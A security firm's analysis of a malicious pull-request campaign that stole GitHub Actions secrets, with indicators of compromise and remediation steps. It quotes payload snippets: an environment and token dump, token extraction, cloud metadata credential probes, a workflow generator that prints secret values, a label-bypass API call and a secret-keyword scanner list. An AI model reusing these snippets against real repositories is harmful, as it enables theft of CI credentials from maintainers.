prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
Table of Contents
TL;DR
On April 3, 2026, a one-day-old GitHub account (ezmtebo) submitted 256+ pull requests across open source repositories, each containing a multi-phase credential exfiltration payload. The attack uses no external C2 infrastructure. It steals secrets through CI logs and PR comments, injects temporary workflows to dump secret values, auto-applies labels to bypass pull_request_target gates, and runs a background /proc scanner for 10 minutes after the main script exits. Five distinct payload variants adapt to GitHub Actions, npm, and Python ecosystems.
High-profile targets include:
- AWS SageMaker Core (AWS ML infrastructure SDK)
- Palo Alto Networks pan.dev (cybersecurity vendor developer portal)
- Svelte (frontend framework, ~80k stars)
- SAP open-ux-tools (enterprise UI tooling)
- Red Hat Developer Hub (developer platform plugins)
Indicators of Compromise:
- GitHub account:
ezmtebo(UID 273211198), emailelzotebo+88@proton[.]me - Branch pattern:
prt-scan-<12-char-hex> - Commit message:
ci: update build configuration - Payload files:
.github/prt_exfil.sh, modifiedpackage.json(preinstall hooks),setup.py,conftest.py - Exfiltration markers in CI logs:
==PRT_EXFIL_START_<hex>==,==PRT_RECON_START_<hex>== - No external domains contacted. All exfil via GitHub API.
Analysis
The Account
The ezmtebo account was created on April 2, 2026, one day before the campaign launched. It has 46 public repositories, all forks, zero original content, zero followers. The commit email ([email protected]) uses Proton Mail plus-addressing, suggesting it is one instance of a templated identity. The +88 suffix implies other suffixes exist or have existed.
This is not the actor’s first account. Pull requests from March 12, 2026 with the same prt-scan-* branch pattern appear under the author ghost, GitHub’s placeholder for deleted accounts. Two targets from that earlier wave: rkendel1/langextract and lightspeed-core/lightspeed-stack. The tooling has been active for at least three weeks.
The Campaign
All 219+ PRs share identical metadata: the commit message ci: update build configuration, the description Automated build configuration update., and a branch name matching prt-scan-<12-char-hex>. Targets span every major language and vertical, from sveltejs/svelte and SAP/open-ux-tools to single-developer hobby repos. This is spray-and-pray. The actor needs just one repo with a pull_request_target workflow that checks out the PR head, or an auto-merge bot that does not inspect the diff.
The Payload: Five Phases
The primary payload is .github/prt_exfil.sh, a 352-line bash script. We downloaded the complete diff and verified every line. It executes in five phases.
Phase 1: Environment dump. Four lines that run immediately:
# .github/prt_exfil.sh — lines 1-4#!/bin/bashecho "==PRT_EXFIL_START_71f961280e4f=="(env; echo "PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null || true)") | gzip -c | base64echo "==PRT_EXFIL_END_71f961280e4f=="This dumps the complete runtime environment plus the git HTTP extraheader (which contains the GITHUB_TOKEN as a base64 Basic auth credential) to the CI log, compressed and encoded between unique markers for automated extraction.
Phase 2: API reconnaissance. Uses the extracted token to enumerate secrets, workflows, cloud metadata, and sensitive files:
# .github/prt_exfil.sh — lines 6-9 (token extraction)__PRT_TK=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null \ | sed -n 's/.*basic //p' | base64 -d 2>/dev/null | cut -d: -f2)[ -z "$__PRT_TK" ] && __PRT_TK="${GITHUB_TOKEN}"With the token in hand, the script queries 15+ GitHub API endpoints: /actions/secrets, /actions/organization-secrets, /environments, every workflow YAML (looking for secrets.XXX references), token permission headers, repo metadata, OIDC tokens, and recent artifacts. It also probes AWS, Azure, and GCP instance metadata endpoints at 169.254.169.254 and metadata.google.internal. All output is gzip+base64 encoded with ##SECTION## delimiters:
# .github/prt_exfil.sh — cloud metadata probesecho "##CLOUD_AZURE##"curl -s -H "Metadata: true" --connect-timeout 2 \ "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/nullecho "##CLOUD_AWS##"curl -s --connect-timeout 2 \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/nullecho "##CLOUD_GCP##"curl -s -H "Metadata-Flavor: Google" --connect-timeout 2 \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 2>/dev/nullPhase 3: Workflow injection. If the token has push permission, embedded Python creates a temporary workflow (.github/workflows/.prt_tmp_<nonce>.yml) on the default branch. That workflow maps every discovered secret name into its env: block and runs env | sort | gzip -c | base64. Then the script dispatches it:
# Embedded in .github/prt_exfil.sh (Phase 3 Python)env_block = '\n'.join(f' {s}: ${{{{ secrets.{s} }}}}' for s in sorted(all_secrets))wf_yaml = f'''name: prt-tmp-{nonce}on: workflow_dispatchjobs: grab: runs-on: ubuntu-latest env:{env_block} steps: - name: run run: | echo "=={exfil_nonce}_START==" env | sort | gzip -c | base64 echo "=={exfil_nonce}_END=="'''This is the critical escalation: Phase 2 can only see secret names. Phase 3 exfiltrates the actual values of every secret in the repository.
Phase 4: Label bypass. A base64-encoded Python script parses all workflow YAMLs for pull_request_target triggers gated by labels. It extracts the required label name (defaulting to safe to test), creates the label via the API, and applies it to the attacker’s own PR. This defeats what many projects consider their primary defense against malicious fork PRs:
# .github/prt_exfil.sh — label creation and applicationcurl -s -o /dev/null -w '%{http_code}' -X POST \ -H "Authorization: Bearer $__PRT_TK" \ "$__PRT_API/repos/$__PRT_R/labels" \ -d '{"name":"'"$__LBL_NAME"'","color":"0e8a16"}'Phase 5: /proc scanner daemon. The final payload is a base64-encoded Python script launched as a background process (python3 &). It polls /proc/*/environ every 2 seconds for 10 minutes, looking for new environment variables matching 22 high-value keywords:
# Decoded from base64 blob in .github/prt_exfil.sh (Phase 5)INTERESTING = [ "NETLIFY", "ALCHEMY", "INFURA", "STRIPE", "AWS_SECRET", "NPM_TOKEN", "DOCKER", "CLOUDFLARE", "DATABASE_URL", "PRIVATE_KEY", "SENTRY", "SENDGRID", "TWILIO", "PAYPAL", "OPENAI", "ANTHROPIC", "GEMINI", "DEEPSEEK", "COHERE", "MONGODB", "REDIS_URL", "SSH_PRIVATE",]When it finds something, it posts the data as a PR comment via the GitHub API, compressed and wrapped in ==PRT_DELAYED_START_<nonce>== markers. This catches secrets injected by later CI steps that were not present when the main script ran.
Four Payload Variants
The standalone shell script is the primary variant, but the actor adapts delivery per ecosystem:
| Variant | File | Trigger | Detection difficulty |
|---|---|---|---|
| Shell script | .github/prt_exfil.sh (352 lines) | Workflow execution | Low |
| Composite action | action.yml (35 lines, base64 blobs) | Action step | Medium |
| npm hooks | package.json (modified existing file) | npm install | High |
| Python setup.py | setup.py (single line) | pip install | Medium |
| pytest conftest | conftest.py (15 lines, double base64) | pytest (automatic) | High |
The npm variant (tus/tus-node-server #822) does not add a new file. It replaces every npm script (build, lint, test) with a malicious version that exfiltrates credentials, then appends the original command so builds appear to work normally.
The pytest variant (aws/sagemaker-core #393) is equally dangerous. It adds a conftest.py that pytest auto-loads before any test execution, no explicit import needed. Phase 1 is pure Python, Phases 2-4 are a base64-encoded shell script run via subprocess.run, and Phase 5 uses double base64 encoding: an outer blob decodes to a shell command that decodes an inner blob and pipes it to python3 &. This is a new obfuscation layer not seen in other variants. The target is an AWS ML infrastructure SDK, likely with AWS credentials in CI.
The composite action variant (likec4/likec4 #2835) embeds the entire payload as base64 blobs inside a nested YAML file at .github/workflows/.github/actions/bootstrap/action.yml, designed to look like legitimate bootstrapping infrastructure.
No External C2
A notable design choice: no attacker-controlled server is ever contacted. All exfiltration happens through:
- CI build log stdout (gzip+base64 between markers)
- GitHub PR comments (via the API)
- Dispatched workflow run logs
This makes network-based detection impossible. All traffic goes to api.github.com or link-local cloud metadata IPs.
Bot Detection Results
We examined automated review bot responses across multiple targeted repos:
| Bot | Detection |
|---|---|
| CodeRabbit | Flagged as critical across all variants tested |
| Sourcery AI | Flagged exfiltration + label bypass |
| Qodo | 3 critical blocking bugs, recommended incident response |
| gstraccini | Auto-approved the malicious PR |
| Codacy | Reported 0 issues |
The gstraccini auto-approval is the worst outcome: it assigned a reviewer, applied triage labels, and gave the PR a veneer of legitimacy. Codacy also missed it entirely. AI-powered review bots (CodeRabbit, Sourcery, Qodo) caught it consistently, which is encouraging, but relying on them as the sole gate is not sufficient.
What to Do
If your repo received a PR from ezmtebo or a branch matching prt-scan-*:
- Close the PR immediately without running CI
- Check workflow run logs for
PRT_EXFIL_STARTorPRT_RECON_STARTmarkers. If present, assume all CI secrets are compromised and rotate them - Search your default branch for
.prt_tmp_*.ymlfiles (Phase 3 workflow injection) - Audit
pull_request_targetworkflows to ensure they do not checkout PR head code - Report the account to GitHub Trust & Safety
The broader pattern is clear: pull_request_target with head checkout remains the most exploited misconfiguration in GitHub Actions. Label gating is not a sufficient defense when the attacker’s token can create and apply labels. The safest configuration runs fork PR workflows in a restricted context with no secrets access, using a separate privileged workflow triggered by maintainer approval for anything that needs credentials.
Appendix: Targeted Repositories
The campaign submitted 256 PRs as of investigation time. Below is a sample of confirmed targets, prioritized by organizational profile. All PRs use the same commit message (ci: update build configuration) and branch pattern (prt-scan-<hex>).
Enterprise and Major Organizations
| Repository | PR | Status | Domain |
|---|---|---|---|
| aws/sagemaker-core | #393 | Open | AWS ML infrastructure |
| PaloAltoNetworks/pan.dev | #1169 | Open | Cybersecurity vendor |
| SAP/open-ux-tools | #4516 | Open | Enterprise UI tooling |
| SAP-samples/btp-cap-multitenant-saas | #180 | Open | SAP cloud platform |
| redhat-developer/rhdh-plugins | #2698 | Open | Red Hat Developer Hub |
| ydb-platform/nbs | #5666 | Open | YDB cloud storage |
| navikt/aktivitet-arena-acl | #153 | Closed | Norwegian gov (NAV) |
Major Open Source Projects
| Repository | PR | Status | Domain |
|---|---|---|---|
| sveltejs/svelte | #18057 | Closed | Frontend framework (~80k stars) |
| zephyrproject-rtos/sdk-ng | #1129 | Closed | Embedded RTOS framework |
| capstone-engine/llvm-capstone | #90 | Closed | Disassembly framework |
| jhipster/generator-jhipster-react-native | #2477 | Closed | App generator |
| RSS-Bridge/rss-bridge | #4952 | Closed | RSS feed tool |
| flairNLP/fundus | #900 | Open | NLP data extraction |
| tus/tus-node-server | #822 | Closed | Upload protocol reference impl |
| yiisoft/demo-diary | #63 | Closed | Yii framework demo |
Infrastructure and Security Tools
| Repository | PR | Status | Domain |
|---|---|---|---|
| shellhub-io/shellhub | #6114 | Open | Remote access platform |
| ansible-lockdown/Windows-Test | #23 | Closed | Security hardening |
| drk1wi/Modlishka | #360 | Closed | Reverse proxy tool |
| supernetes/supernetes | #144 | Open | Kubernetes tooling |
| kitspace/kitspace-v2 | #786 | Closed | Hardware design sharing |
Payment and Financial
| Repository | PR | Status | Domain |
|---|---|---|---|
| guibranco/pagarme-sdk-dotnet | #153 | Closed | Payment gateway SDK |
| adyen-examples/adyen-magento2-hyva | #142 | Closed | Payment integration |
Other Notable Targets
| Repository | PR | Status | Domain |
|---|---|---|---|
| likec4/likec4 | #2835 | Open | Architecture diagramming |
| darlal/obsidian-switcher-plus | #236 | Open | Obsidian plugin |
| Wynntils/Wynntils | #3851 | Closed | Minecraft game mod |
| meatpiHQ/wican-fw | #731 | Open | IoT car WiFi adapter |
| ChainFuse/packages | #920 | Open | Blockchain packages |
| Redback-Operations/redback-senior-tech | #151 | Open | IoT operations |
| athenianco/athenian-api | #3679 | Open | Engineering analytics |
| StatFunGen/colocboost | #135 | Open | Bioinformatics |
| osodevops/aws-terraform-module-cardano-stake-pool | #6 | Open | Cardano/crypto infra |
| OpenBioCard/OpenBioCard | #8 | Open | Bio data smart card |
Total confirmed: 256 PRs across 26 pages of search results. This table is a representative sample. The full list can be retrieved via https://github.com/search?q=author%3Aezmtebo+is%3Apr&type=pullrequests.
- supply-chain-security
- github-actions
- ci-cd-security
- malware
- credential-theft
- incident-response
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious npm Package strapi-plugin-events Deploys Full C2 Agent
A malicious npm package targeting Strapi CMS deployments runs an 11-phase postinstall attack that steals credentials, environment variables, private keys, Redis data, Docker and Kubernetes secrets,...

Malicious npm Package express-session-js Drops Full RAT Payload
A malicious npm package typosquatting express-session fetches and executes a full Remote Access Trojan from a paste service, targeting browser credentials, crypto wallets, SSH keys, and more.

Compromised npm Package mgc Deploys Multi-Platform RAT
The npm package mgc was compromised via account takeover, with four malicious versions published in rapid succession deploying a full Remote Access Trojan targeting macOS, Windows, and Linux.

axios Compromised: npm Supply Chain Attack via Dependency Injection
axios 1.14.1 was published to npm via a compromised maintainer account, injecting a trojanized dependency that executes a multi-platform reverse shell on install. No source code changes in axios...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
